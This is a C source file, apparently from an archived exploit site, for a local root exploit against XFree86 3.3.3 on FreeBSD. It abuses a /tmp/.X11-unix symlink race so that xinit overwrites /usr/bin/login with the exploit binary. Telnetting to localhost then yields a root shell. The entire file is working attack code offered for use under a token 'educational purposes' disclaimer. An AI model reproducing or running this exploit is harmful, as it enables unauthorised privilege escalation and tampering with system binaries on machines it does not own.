home *** CD-ROM | disk | FTP | other *** search
- /*** local XFree 3.3.3-symlink root-compromise.
- *** Tested under FreeBSD 3.1 (but should work on others 2)
- *** (C) 1999/2000 by Stealthf0rk for the K.A.L.U.G.
- *** (check out http://www.kalug.lug.net/stealth or /coding for
- *** other kewl stuff!)
- ***
- *** FOR EDUCATIONAL PURPOSES ONLY!!! USE IT AT YOUR OWN RISK.
- *** Even if this program restores all, you should backup your
- *** login before running this.
- ***/
-
- #include <stdio.h>
- #include <unistd.h>
- #include <errno.h>
- #include <fcntl.h>
-
- #define LOGIN "/usr/bin/login"
- #define TELNET "/usr/bin/telnet"
-
- int cp(const char*, const char*, int);
-
- int main(int argc, char **argv)
- {
-
- char *telnet[] = {TELNET, "localhost", NULL};
- char *shell[] = {"/bin/sh", NULL};
- char *X[] = {"/usr/X11R6/bin/xinit", NULL};
- FILE *f = NULL;
- int p = 0;
- char buf[1000] = {0};
-
- /* the rootshell */
- if (!geteuid() || !getuid())
- {
- unlink(LOGIN);
- cp("/tmp/L", LOGIN, 1);
- chmod(LOGIN, 04555);
- printf("Welcome!\n");
- unlink("/tmp/.X11-unix");
- unlink("/tmp/L");
- execve(*shell, shell, NULL);
- }
-
- /* back up */
- cp(LOGIN, "/tmp/L", 1);
- if (symlink(LOGIN, "/tmp/.X11-unix") < 0)
- {
- perror("symlink (/tmp/.X11-unix)");
- exit(errno);
- }
- if ((p = fork()) < 0)
- {
- perror("fork");
- exit(errno);
- }
- else if (p > 0)
- {
- sleep(7);
- kill(p, 9);
- cp(argv[0], LOGIN, 1);
- execve(telnet[0], telnet, NULL);
- perror("fatal:");
- }
- else
- {
- printf("Xfree 3.3.3 root-sploit by Stealth. http://www.kalug.lug.net\n");
- printf("\n-> Please give me some seconds... <-\n\n");
- execve(X[0], X, NULL);
- }
- return 0;
- }
-
-
- int cp(const char *from, const char *to, int how)
- {
- int in = 0, out = 0, r = 0;
- char buf[1000] = {0};
-
-
- printf("cp %s %s\n", from, to);
- /* overwrite ? */
- if (how == 1)
- how = O_RDWR|O_TRUNC|O_CREAT;
- else
- how = O_RDWR|O_CREAT;
-
- if ((out = open(to, how)) < 0)
- {
- perror("open 1");
- exit(errno);
- }
- if ((in = open(from, O_RDONLY)) < 0)
- {
- perror("open 2");
- exit(errno);
- }
- while ((r = read(in, buf, 1000-1)) > 0)
- {
- write(out,buf,r);
- memset(buf,0,1000);
- }
- close(in);
- close(out);
- return 0;
- }
- /* www.hack.co.za [2000]*/